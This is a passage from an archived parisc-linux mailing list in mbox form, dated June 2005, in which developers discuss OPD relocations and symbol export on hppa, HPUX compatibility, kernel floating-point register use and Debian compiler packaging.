List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GIXLYrUReSEkW76WZHQhaXN1IGRvb0DM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22803

On Tue, Jun 21, 2005 at 04:26:46PM -0400, John David Anglin wrote:
> > "John David Anglin" <dave@hiauly1.hia.nrc.ca> writes:
> > 
> > > Having the PLABEL32 relocation resolve to an OPD appears to require
> > > that the symbol be exported.  As a result, we have a different behaviors
> > > for dlsym on hppa and ia32.  What's ia64 do?
> > 
> > hppa needs to be fixed to implement correct variants of the macros in
> > dl-lookupcfg.h.  It probably just has to copy the definitions of
> > DL_FIXUP_* from sysdeps/ia64/dl-lookupcfg.h, and
> > _dl_runtime_{resolve,profile} has to be adapted accordingly.
> 
> There could be problems here but it seems that hppa is exporting
> all global symbols in .dynsym.
> 
> Regarding the patch, I'm not sure why but it seems to result in
> more R_PARISC_NONE dynamic relocation records (one for each real
> dynamic relocation?).

I'm not sure why there are extra R_PARISC_NONE relocs, I was sure I had
fixed this problem. There was a ref counting issue before, but I should
review this.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [RFC] Emit OPD reloc for all global symbols
Date: Wed, 22 Jun 2005 18:07:48 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <20050622220748.GX5269__31815.5580819168$1416623812$gmane$org@systemhalted.org>
References: <jeekavhet4.fsf@sykes.suse.de>
	<200506212026.j5LKQk6m013156@hiauly1.hia.nrc.ca>
	<20050622133828.GA2180@lucon.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623812 14965 80.91.229.3 (22 Nov 2014 02:36:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:52 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 binutils@sources.redhat.com,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org,
 Andreas Schwab <schwab@suse.de>
To: "H. J. Lu" <hjl@lucon.org>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jun 2005 22:08:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 23 Jun 2005 00:08:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F1D9C7D6EC;
	Wed, 22 Jun 2005 16:08:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27294-10; Wed, 22 Jun 2005 16:08:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F23437D6ED;
	Wed, 22 Jun 2005 16:08:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B4B57D6E8
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 16:08:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27481-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 16:08:29 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 891027D6E1
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 16:08:29 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DlDNs-0001D9-00; Wed, 22 Jun 2005 18:07:48 -0400
Content-Disposition: inline
In-Reply-To: <20050622133828.GA2180@lucon.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (31% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MoTLYpkLeSEkdL6WZHQhaXN1IGRvbwDZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22804

On Wed, Jun 22, 2005 at 06:38:28AM -0700, H. J. Lu wrote:
> On Tue, Jun 21, 2005 at 04:26:46PM -0400, John David Anglin wrote:
> > > "John David Anglin" <dave@hiauly1.hia.nrc.ca> writes:
> > > 
> > > > Having the PLABEL32 relocation resolve to an OPD appears to require
> > > > that the symbol be exported.  As a result, we have a different behaviors
> > > > for dlsym on hppa and ia32.  What's ia64 do?
> > > 
> > > hppa needs to be fixed to implement correct variants of the macros in
> > > dl-lookupcfg.h.  It probably just has to copy the definitions of
> > > DL_FIXUP_* from sysdeps/ia64/dl-lookupcfg.h, and
> > > _dl_runtime_{resolve,profile} has to be adapted accordingly.
> > 
> > There could be problems here but it seems that hppa is exporting
> > all global symbols in .dynsym.
> 
> Why does hppa do that? A global symbol in executable should be exported
> only if it is referenced by a DSO or --export-dynamic is used.

Legacy behaviour. Does an ia64 hpux system also export main in .dynsms?
 
> > 
> > Regarding the patch, I'm not sure why but it seems to result in
> > more R_PARISC_NONE dynamic relocation records (one for each real
> > dynamic relocation?).
> > 
> 
> IA64 also uses function descriptors. Everything works fine.

This sort of behaviour is architecture dependant. We have problems in
our implementation, and we are trying to fix them :)

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [OT] Emit OPD reloc (HPUX compatibility)
Date: Wed, 22 Jun 2005 18:15:13 -0400
Lines: 51
Approved: news@gmane.org
Message-ID: <20050622221513.GY5269__25309.4016960405$1416623812$gmane$org@systemhalted.org>
References: <20050621024438.GP5269@systemhalted.org>
	<200506211521.j5LFLwgJ011696@hiauly1.hia.nrc.ca>
	<20050621161431.GA16368@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623812 14968 80.91.229.3 (22 Nov 2014 02:36:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:52 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 hjl@lucon.org,
 binutils@sources.redhat.com,
 tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jun 2005 22:16:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 23 Jun 2005 00:16:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 63B3A7D701;
	Wed, 22 Jun 2005 16:16:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27597-07; Wed, 22 Jun 2005 16:16:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5EED47D704;
	Wed, 22 Jun 2005 16:16:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D031B7D6F8
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 16:16:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27597-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 16:16:06 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 3989F7D6E8
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Jun 2005 16:16:06 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DlDV4-0001OH-00; Wed, 22 Jun 2005 18:15:14 -0400
Content-Disposition: inline
In-Reply-To: <20050621161431.GA16368@colo.lackof.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (31% Sync Ratio [===.......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: eobLYgpIeSEkYL6WZHQhaXN1IGRvb0AG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22805

On Tue, Jun 21, 2005 at 10:14:31AM -0600, Grant Grundler wrote:
> On Tue, Jun 21, 2005 at 11:21:58AM -0400, John David Anglin wrote:
> > >From my standpoint, I would like to see the same behavior for both
> > 32 and 64-bit links when hppa linux supports both 32 and 64-bit 
> > user spaces.
> 
> Yeah, that would make sense.
> 
> >   The original linux implementation was modelled on hpux
> > but over the years we have found that hpux compatibility isn't
> > important.
> 
> When I first got involved in parisc-linux in 1999, there was
> an interest in commercializing parisc-linux. That would
> mean investing several million dollars per year on a team
> to support/test parisc-linux *and* compatibility (where possible)
> with hpux so customers could run smaller apps on both.
> HP chose not to do that (it was a very rational decision
> though personally disappointing).  parisc-linux did not get
> commercialized and the developer community around parisc-linux
> is not interested in HPUX compatibility.
> 
> If someone is interested in HPUX application compatibility,
> they better start providing parisc-linux kernel patches this year.
> An ABI compatibility event in the tool chain would be sufficient
> reason for me to rip out the broken HPUX compatibility
> support currently in the parisc-linux source tree.
> So far, I've lobbied to keep HPUX app support in the tree with
> the hope we could someday run the HPUX X11 server (3D HW Accel!).
> But the right people haven't volunteered to make that work.

This is completely orthogonal, but I think that supporting the HPUX X11
server is a pipe dream.

Simple HPUX applications will run. Anything more than that is going to
require a *lot* of work. And a lot of documentation that will never be
made available.

My personal goal is to be as compatible with other linux ports as
possible, offering everything that they also offer.

e.g. TLS, NPTL ... and more.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Thu, 23 Jun 2005 08:10:19 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <4282FEEE0000FA5F@mail-6-bnl.tiscali.it>
References: <20050623052753.GA20584@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623813 14970 80.91.229.3 (22 Nov 2014 02:36:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jun 2005 06:10:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx009) with SMTP; 23 Jun 2005 08:10:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A6C4D7D74B;
	Thu, 23 Jun 2005 00:10:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29354-10; Thu, 23 Jun 2005 00:10:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A57FD7D74C;
	Thu, 23 Jun 2005 00:10:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8CCF67D74A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 00:10:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29717-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 00:10:27 -0600 (MDT)
Original-Received: from mrqout2.tiscali.it (mrqout2.tiscali.it [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id DE7667D749
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 00:10:26 -0600 (MDT)
Original-Received: from 10.39.115.136 by mrq-2 with esmtp (Exim)
	id 1DlKuq-0001uU-HA; Thu, 23 Jun 2005 08:10:25 +0200
Original-Received: from [57.67.177.33] by mail-6-bnl.tiscali.it with HTTP;
	Thu, 23 Jun 2005 08:10:19 +0200
In-Reply-To: <20050623052753.GA20584@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NzfIYlZ+eSEke76WZHQhaXN1IGRvbwAS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22806


> -- Original Message --
> Date: Wed, 22 Jun 2005 23:27:53 -0600
> From: Grant Grundler <grundler@parisc-linux.org>
> To: Joel Soete <soete.joel@tiscali.be>
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
> 
> 
> On Wed, Jun 22, 2005 at 07:54:54PM +0000, Joel Soete wrote:
> > of fp registers?
> > or how may I try to define it as accurately as possible?
> > (I objdump a operating 2.6.12-rc.-pa. 64bit to grep some 'fr[12][0..9=
]'
> and 
> > all of them seems to be used?
> 
> Of course they will all be used - kernel has to save and restore
> process state when switching context.
Oops I missed it (my bad)

> You have to look at each
> use and determine why FP is being used. There shouldn't
> be that many different uses.
> 
Thanks for enlightenment,

I still have to make a lot of progress ;-)

> > Do I have to look elsewhere; tausq also spoke about: sic
> > [...]One proposal that has been talked about before is if we can
> > compile a version of the millicode lib that uses limited fpregs range=

> > and compile the kernel using this new option that Dave is talking abo=
ut,
> > then we will be able to get by using a (much) smaller subset of fp re=
gs
> > and we won't have to save/restore them in the kernel. )
> 
> That's correct - but we will still have to save/restore all FP regs
> on a general context switch - just a subset of those when
> entering/leaving the kernel (e.g. handling an external interrupt).
> 
Thanks,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@there.is.no.cabal.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new debian binutils-hppa64, r=2.15-7 pb?
Date: Thu, 23 Jun 2005 08:10:19 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20050623121019.GM14502__45519.0920773477$1416623813$gmane$org@roadwarrior.mcmartin.ca>
References: <17081.52770.365946.52496@gargle.gargle.HOWL> <200506230342.j5N3gOte019236@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623813 14975 80.91.229.3 (22 Nov 2014 02:36:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:53 +0000 (UTC)
Cc: Matthias Klose <doko@cs.tu-berlin.de>,
 soete.joel@tiscali.be,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jun 2005 12:29:29 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx049) with SMTP; 23 Jun 2005 14:29:29 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 93F232DFD9; Thu, 23 Jun 2005 07:29:23 -0500 (CDT)
Old-Return-Path: <kyle@fattire.cabal.ca>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by murphy.debian.org (Postfix) with ESMTP id CF1042E197
	for <debian-hppa@lists.debian.org>; Thu, 23 Jun 2005 07:11:23 -0500 (CDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 2530317050;
	Thu, 23 Jun 2005 08:11:23 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02237-09; Thu, 23 Jun 2005 08:11:12 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 317AC1707B; Thu, 23 Jun 2005 08:11:12 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-x1415117565-52656d6f746546617454697265-494e424f582e4f7574626f78: 1119528654-0468739552617-v4.0.8
Content-Disposition: inline
In-Reply-To: <200506230342.j5N3gOte019236@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Rc-Spam: 2005-03-31_01
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-03-31_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_05_20_02 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-1.3 required=4.0 tests=AWL,BAYES_01 autolearn=no 
	version=2.63-lists.debian.org_2005_05_20_02
Resent-Message-ID: <NNOmWD.A.4SH.jsquCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4585
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Thu, 23 Jun 2005 07:29:23 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: fM7IYp49eSEkQ76WZHQhaXN1IGRvb8Ag
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22807

On Wed, Jun 22, 2005 at 11:42:23PM -0400, John David Anglin wrote:
> gcc-3.4.  It only seems to install the 64-bit compiler driver:
> 
> /usr/bin/hppa64-linux-gcc-3.4
> 
> I also haven't seen 4.0.0 yet.

I believe this is because the gcc-defaults package is currently 
set for the sarge default, which means gcc 3.3. I imagine a new
upload is coming soon that will change the default compiler
to 3.4 or 4.0 soon.

Cheers,
-- 
Kyle McMartin


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:33:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Thu, 23 Jun 2005 09:09:52 -0400 (EDT)
Lines: 39
Approved: news@gmane.org
Message-ID: <200506231309.j5ND9qHA021191@hiauly1.hia.nrc.ca>
References: <4282FEEC00010335@mail-3-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623813 14976 80.91.229.3 (22 Nov 2014 02:36:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jun 2005 13:10:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 23 Jun 2005 15:10:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E666A7D762;
	Thu, 23 Jun 2005 07:09:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01074-06; Thu, 23 Jun 2005 07:09:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D37717D75E;
	Thu, 23 Jun 2005 07:09:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A533D7D75C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 07:09:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32169-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 07:09:54 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 1115E7D75A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 23 Jun 2005 07:09:54 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j5ND9qnV021193; Thu, 23 Jun 2005 09:09:53 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j5ND9qHA021191;
	Thu, 23 Jun 2005 09:09:52 -0400 (EDT)
